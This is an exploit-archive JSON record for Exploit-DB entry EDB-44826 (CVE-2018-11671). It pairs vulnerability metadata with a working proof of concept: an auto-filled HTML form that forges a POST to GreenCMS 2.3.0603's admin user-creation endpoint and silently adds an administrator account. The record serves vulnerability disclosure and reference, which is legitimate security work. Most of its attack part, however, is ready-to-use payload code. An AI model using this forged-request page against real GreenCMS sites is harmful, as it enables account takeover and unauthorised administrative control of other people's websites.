{"exploit":{"id":"EDB-44826","name":"GreenCMS 2.3.0603 - Add Admin Cross-Site Request Forgery (CSRF)","description":"GreenCMS 2.3.0603 - Add Admin Cross-Site Request Forgery (CSRF)","cves":["CVE-2018-11671"],"author":"xichao","published":"2018-06-03","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44826","path":"exploits/php/webapps/44826.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44826.txt","vulnerabilities":[{"id":"CVE-2018-11671","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11671","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-11671"},"updatedAt":"2024-08-05T08:17:07.802Z","retrievedAt":"2026-11-27T12:10:35.515Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44826.png?v=2","url":"https://exploitbin.com/exploits/EDB-44826","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44826/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44826/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin\n# Date: 2018-06-02\n# Exploit Author: xichao\n# Vendor Homepage: https://github.com/GreenCMS/GreenCMS\n# Software Link: https://github.com/GreenCMS/GreenCMS\n# Version: v2.3.0603\n# CVE : CVE-2018-11671\n\nAn issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.\n\npoc:\n\n<span style=\"font-size:18px;\"><!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>csrftest</title>\n</head>\n　　<body>\n    　　　　<form action=\"http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle\" method=\"POST\" id=\"transfer\" name=\"transfer\">\n　　　　　　　　<input type=\"hidden\" name=\"user_id0\" value=\"1\">\n　　　　　　　　<input type=\"hidden\" name=\"user_login\" value=\"test1\">\n　　　　　　　　<input type=\"hidden\" name=\"password\" value=\"test1\">\n　　　　　　　　<input type=\"hidden\" name=\"rpassword\" value=\"test1\">\n　　　　　　　　<input type=\"hidden\" name=\"user_nicename\" value=\"123\">\n　　　　　　　　<input type=\"hidden\" name=\"user_email\" value=\"123%40Qq.com\">\n　　　　　　　　<input type=\"hidden\" name=\"user_url\" value=\"www.baidu.com\">\n　　　　　　　　<input type=\"hidden\" name=\"user_intro\" value=\"test\">\n　　　　　　　　<input type=\"hidden\" name=\"user_status\" value=\"1\">\n　　　　　　　　<input type=\"hidden\" name=\"role_id\" value=\"1\">\n        <button type=\"submit\" value=\"Submit\">add admin</button>\n　　　　　　</form>\n    </body>\n</html></span>\n\nReferences:\nhttp://www.iwantacve.cn/index.php/archives/39/\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671\nhttps://github.com/GreenCMS/GreenCMS/issues/109","sha256":"39df6f38c6aa9e61aaf0fc7d833a849710d4afe40189e94e17daad2e12d4c985","bytes":1771,"fetchedAt":"2026-11-27T12:10:35.246Z","encoding":"utf-8 (display only; download retains original bytes)"}